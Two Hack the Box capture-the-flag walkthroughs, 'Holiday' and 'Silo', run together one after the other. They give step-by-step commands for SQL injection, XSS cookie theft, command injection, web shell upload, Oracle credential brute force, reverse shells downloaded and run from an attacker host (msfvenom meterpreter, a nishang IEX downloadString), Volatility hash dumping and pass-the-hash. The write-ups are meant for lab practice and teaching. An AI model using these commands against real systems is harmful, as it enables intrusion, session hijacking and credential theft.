Hack the Box: Holiday Walkthrough

Hello friends!! Today we are going to solve another CTF challenge “Holiday” which is available online for those who want to increase their skill in penetration testing and black box testing. Holiday is retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to Expert level.

Level: Expert

Task: find user.txt and root.txt file on victim’s machine.

Since these labs are online available therefore they have static IP and IP of sense is 10.10.10.25 so let’s begin with nmap port enumeration.

nmap -A -p- 10.10.10.25 –open

From given below image, you can observe we found port 22 and 8000 are open on target system.

As port 8000 is running http we open the IP address in the browser, and find a webpage.

We don’t find anything on the webpage so we use dirb to enumerate the directories.

dirb http://192.168.102:8000

Dirb scan gives us a link to a directory called /login, we open the link and find a login page.

We capture the login request using burpsuite. We use random credentials as placeholder.

We use sqlmap to check if it is vulnerable to sql injection. After finding that it is vulnerable to sql injection, we use sqlmap to dump the database and find a username “RickA” and password hash.

sqlmap -r sql.txt –dbms=SQLite -T users --columns –dump --batch

We use hashkiller.co.uk to decrypt the hash and find the password to the user.

We login using these credentials and we are redirected to a page with that looks like it contains user information.

We click on one of the UUID link and find a page that we can post notes for the users. It also shows that it will take up to 1 minute to post the note.

We try exploit the note function, and find it is vulnerable xss. As the notes are being read by administrator xss can be used to get the admin cookie. To run xss and run our payload we need to bypass the filter using java script function String.fromCharCode to run our payload. I created this script here to convert string to ascii code.

We post the note to bypass the filter we have to use this payload:

We setup our listener using nc on port 80, as we will receive the the response of the page including the administrator cookie on this port.

nc -lvp 80

After waiting for 1 minute we received the admin cookie.

The cookie is url encoded we decode and use it hijack the administrator session.

We capture the webpage’s request using burpsuite. We change our cookie with that of administrator and forward it.

As soon as we forward the request, we are able to successfully hijack the administrator session.

We now go to /admin directory and find a page where there are options to export bookings and notes.

We capture the request using burpsuite, and check if it is vulnerable to any king of injection. After enumerating we find that this page is vulnerable to command injection.

We are unable to get a shell using web_delivery module of metaploit due to there being filters. Now we create a payload using msfvenom to upload into the target machine using command injection and get reverse shell.

msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=10.10.14.8 lport=4444 –f elf > shell

After creating a shell we create a python http server to upload into the target machine.

Now “.” Is not blacklisted so we convert the ipaddress into decimal number so that we can bypass the filter.

We upload the shell using wget command into the target machine and save it in /tmp directory.

As soon as we run the command we get a prompt that shell is uploaded.

We give our payload read, write and execute permission using command injection.

Now we setup our listener using metasploit.

msf > use exploit/multi/handler

msf exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp

msf exploit(multi/handler) > set lhost 10.10.14.8

msf exploit(multi/handler) > set lport 4444

msf exploit(multi/handler) > run

We run the shell using command injection vulnerability on the target machine.

As soon as we run the shell we get a reverse shell.

We spawn a tty shell and take a look at the sudoers list and find that we can run /usr/bin/npm I * as root with no password.

python -c “import pty; pty.spawn(‘/bin/bash’)”

sudo -l

Before trying to get root shell we first enumerate rest of the directories and find a file called “user.txt” in /home/algernon directory. We take a look at the content of the files and find the first flag.

Now we try to take root.txt we go to /app directory. We rename package.json to pack, and symlink /root/root.txt package.json

ln -s /root/root.txt package.json

We run /usr/bin/npm i * as root user and find the final flag.

After searching through google we find a way to get reverse shell using a package called rimrafall.

We setup rimrafall by following the instructions given on the webpage.

We setup the json file and change the preinstalled script to bash one liner.

We run the command as root user to get privileged shell.

sudo npm i rimrafall --unsafe

We setup the listener as soon as we run the preinstalled shell is getting executed we get a reverse shell.

nc –nvlp 1234

We go to /root directory and find a file called root.txt. We take a look at the content of the file and find the final flag.

Silo HackTheBox Walkthrough

Summary

Silo is a windows machine and considered as Medium by Hack the Box. This machine is vulnerable to oracle database where we are going to use various techniques to get our foothold into the box. This box is a good resource and example to understand the oracle database vulnerability and how to perform assessment against the target system. Additionally, we will be exploring tools and techniques to tackle this kind of database vulnerability from enumeration to the exploitation phase. Also, we will see how computer networking technologies works with the database to make peer-to-peer connection. In the lateral phase, we will exploit Dropbox dumped memory and analyse using popular memory analysing tool called Volatility and use pass the hash technique to login as administrator remotely.

Table of content

Initial Access

• Port scan
• Enumeration
• Oracle Database TNS SID Brute force
• Credentials Bruteforce
• Database Library Enumeration
• Web shell upload
• Web shell to reverse shell
• User flag

 

Privilege Escalation

• Dropbox Memory Dump
• Hash dump with Volatility
• Root flag
• Pass the Hash (Login-Method 1)
• Lsa dump with Volatility
• Winexe –Plain text password (Login-Method 2)
• Evil-winrm-Pass the Hash (Login Method -3)

 

Let’s exploit it step by step.

Initial Access

We are going to start assessment with the port scanning.

 

Port Scan

Let’s start with the port scan. We are using nmap to find out which ports are open so we can begin our port and service analyse. Nmap is a popular port scanning tool come with Kali Linux. In order to perform port scan, we have used -sC and -sV flags.

Flags features:

-sC   : Scans with default NSE scripts

-sV   :  Attempts to determine the service version

Command used:

nmap  -sC -sV 10.129.95.188

From the nmap scan, we have found there were so many ports open which is used for the RPC Client-server communication and port 80 is running http service and 1521 is running oracle-tns service. Out of these all ports 1521 port looks interesting. So lets begin with the port 1521 enumeration.

 

Enumeration

Let’s find out what Oracle Database is. Oracle is a Relational Database Management System and the Transparent Network Substrate which is also known as TNS is a proprietary Oracle Computer networking technology which supports end-to-end connectivity on the top of other networking technologies like TCP/IP, SDP and named pipes. It is used to make a connection with the Oracle databases. Furthermore, TNS listener is a separate process that runs on the database server, and it receives client’s incoming connection requests and forward the traffic to the database server accordingly. In order to do the assessment, we will require to have a tool name odat installed in our Kali machine. So, let’s install it.

Command used:

apt install odat

 

Oracle Database TNS SID Brute force

We can consider it as Man in The Middle attack as Oracle database is using a networking technology called oracle TNS to forward the request to the real database server. In order to exploit this vulnerability of the database we need to begin with the SID brute force. We are going to use odat to bruteforce its SID then we will assemble each part accordingly. Below command will guess the SID of the Target and keep continue until it gets valid SID.

Command used:

odat sidguesser -s 10.129.95.188

 

Here we have found valid SIDS which is XE and XEXDB. Once we found valid SIDs then we will switch to Metasploit framework and use Msfconsole for the further exploit process.

 

Credentials Bruteforce

 The next step of the exploit process is to find valid credentials. Let’s start msfconsole in our kali terminal. Metasploit msfconsole is very easy to use, here we need select our exploit module then provide following information such as rhost (remote host) which is target IP address, Database SID and simple run exploit command and the exploit will  execute against the target and give us valid credentials.

Command used:

msfconsole

use auxiliary/admin/oracle/oracle_login

set rhost 10.129.95.188

set SID XE

exploit

From the above exploit we have successfully found valid credentials. Now we have username: scott and password: tiger.

 

Database Library Enumeration

Odat is very useful tools come with various features as here we are not getting way, so we are using

-all flag to gather more information about the database with valid credentials.

Command used:

odat all -s 10.129.95.188 -d XE -U scott -P tiger --sysdba

Flags features:

-all  : All options

-s   :  Target IP

-d : Database  

-U  : Username

-P  : Password  

--sysdba   : check sysdba privilege status

 

 

 

If we take a closer look at the screenshot above, we can see that DBMS_XSLPROCESSOR library is enable which allows a remote user to upload file. From here, we can now think about uploading any malicious file which could lead us a reverse shell.

 

Web Shell Upload

Let’s upload a command shell into the target wwwroot directory. Command shell is comes with Kali and available in the /usr/share/webshells/aspx/ directory as cmdasp.aspx. The reason we chose wwwroot directory because port 80 is open and uploaded file can be accessible over bowser. We need to provide following information to upload a command shell to the database such as database library name, upload directory in the target system and command shell file directory where it is stored, database name, username and password etc.  For the better understanding commands breakdown is listed below:

Command used:

Odat dbmsxslprocessor -s 10.129.95.188 -d XE -U scott -P tiger –putFile “C:\inetpub\wwwroot\\” shell.aspx /usr/share/webshells/aspx/cmdasp.aspx --sysdba

Flags features:

-putFile  : upload file

-s   :  Target IP

-d : Database  

-U  : Username

-P  : Password  

Once we upload the file then we can access web shell via browser. Please note we have uploaded our cmdasp.aspx shell and saved as shell.aspx in the target web root directory. The url of can be found below.

URL: http://10.129.95.188/shell.aspx.

 

We have got a web shell over browser now we can execute system commands here. We can verify the user with whoami command. From the output we can see that we have received an IIS service account shell.

 

Web shell to reverse shell

We are going to upgrade our shell using nishang powershell script which can be download from here: https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1

Once we download Invoke_PowershellTcp.ps1 then we need to make some minor changes in order to receive reverse connection from the target machine. Open Invoke_PowershellTcp.ps1 in any text editor like leafpad, vi, nano, gedit, mousepad etc and add below line at the last line of the script and save it. In the added line we have adding listening host Ip address and listening port number.

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.35 -Port 4444

Command used:

wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1

Also we will set up a python server on port 80 so we can download this shell to the target system.

Python server set on port 80:

Command used:

python -m SimpleHTTPServer 80

Once python server is set, we can download and directly execute our powershell reverse shell. From the web shell. Just go to the web shell and give below command in the input field.  Make sure netcat listener is on in the Kali machine on port 4444.

Command used:

On Kali:

nc -lvp 4444

On the web shell user input Field:

powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.35:80/Invoke-PowerShellTcp.ps1')

 

User Flag

If we check your netcat listener, we will see that we have received a reverse shell. While enumerating users we found there is a user named Phineas. We can grab our user flag from the Phineas desktop directory.

Command used:

cd C:\\users

ls

cd Phineas\Desktop

ls

cat user.txt

Privilege Escalation

As we have got our user flag now it’s time to look around privilege escalation vectors and clues. We noticed, here is another text file there named oracle issue.txt. When we opened file, we found a dropbox link and the password (?%Hm8646uC$ )which can be useful for our further assessment. It looks quite promising credentials for the dropbox.

Password found: ?%Hm8646uC$

Command used:

cat “Oracle issue.txt”

What is a drop box and what it is used for?

It is an application runs on Linux, Windows and Mac Operating systems. It also supports IOS, Android and Windows mobile devices. With this application, you can store, share, transfer and download files using browsers.

Dropbox Memory Dump

We opened the dropbox link we found from that text file and given password which we found from the same text file. As expected we are now authenticated to dropbox.

 

After authenticating, we dumped the memory and found a zip file present in the drop box. The zip file is : SILO-20180105-221806.zip.

Hash dump with Volatility

We have dumped the memory of the dropbox, and a zip file is created. Transfer the zip file to the Attacker machine for the further analysis. We simply, unzipped the file and a new dump file is created in the same directory. New dump file: SILO-20180105-221806.dmp.

Command used:

unzip SILO-20180105-221806.zip

Now we are going to use a popular tool to analyse dump file and extract some juicy information out of it. Before jumping directly into the tool, let’s talk about Volatility.

What is a Volatility and what it is used for?

Volatility is an open-sourced memory forensic tool which is widely used by the blue team for the incident response, malware analysis and the memory analysis.

Root Flag

This tool can be helpful to analyse Vmware dumps, Virtual box dumps, crash dumps, memory dumps, raw dumps etc. Sounds interesting, as we need something like this to analyse our dumped data. Let’s dump the hash from the memory.

 

Command used:

./volatility -f SILO-20180105-221806.dmp –profile=Win2012R2x64 hashdump

We have successfully dumped the hash of the users. Now we can use pass the hash technique to login as administrator. With this technique we do not require to crack any hash and we can use hash as password of the user. As we have obtained hash, we can login now.

 

Pass the Hash (Login-Method 1)

Here we have logged in as administrator by using the technique called Pass the hash. Now we can grab our root flag from the

 

Lsa dump with Volatility

In the above example we simply dumped the hash and logged in as administrator. We can also check for the plain text password in the lsa. Volatility is very powerful tool which can also extract the lsa data from the dump file.

Command used:

./volatility -f SILO-20180105-221806.dmp –profile=Win2012R2x64 lsadump

It has dumped some ASCII data with dot separated, lets assemble it.

DoNotH@ckMeBro!

It is looks like plain text password of the user.

Winexe –Plain text password (Login-Method 2)

We have found a Plain text password from the lsa dumped memory. Let’s check if it works with administrator and as expected it worked and again we successfully logged in.

 

Evil-winrm-Pass the Hash (Login Method -3)

We can also login with Evil-winrm which comes with Kali Linux. Here we are going to use pass the hash technique, but we can also use plain text as well. Evil-winrm tool will only work if port 5985 is open in the target machine. Let’s pass the hash get log in as the administrator.

 

Conclusion:

This machine was fun and was great source of learning, where we have learned and explored so many things such as port scanning, service enumeration, Database enumeration, Credential bruteforce, networking used in database server, convert web shell to reverse shell, memory dump, dumped memory analysis, hash dump, lsa memory dump and various techniques to log in to the target machine such as pass the hash and with plain text password.

Thank you for giving your precious time to read this walkthrough. I hope you have enjoyed and learned something new today. Happy Hacking!

 

Author: Subhash Paudel is a Penetration Tester and a CTF player who has keen interest in various technologies and love to explore more and more. Additionally, he is a technical writer at Hacking articles. Contact here: https://au.linkedin.com/in/subhash-paudel-a021ab207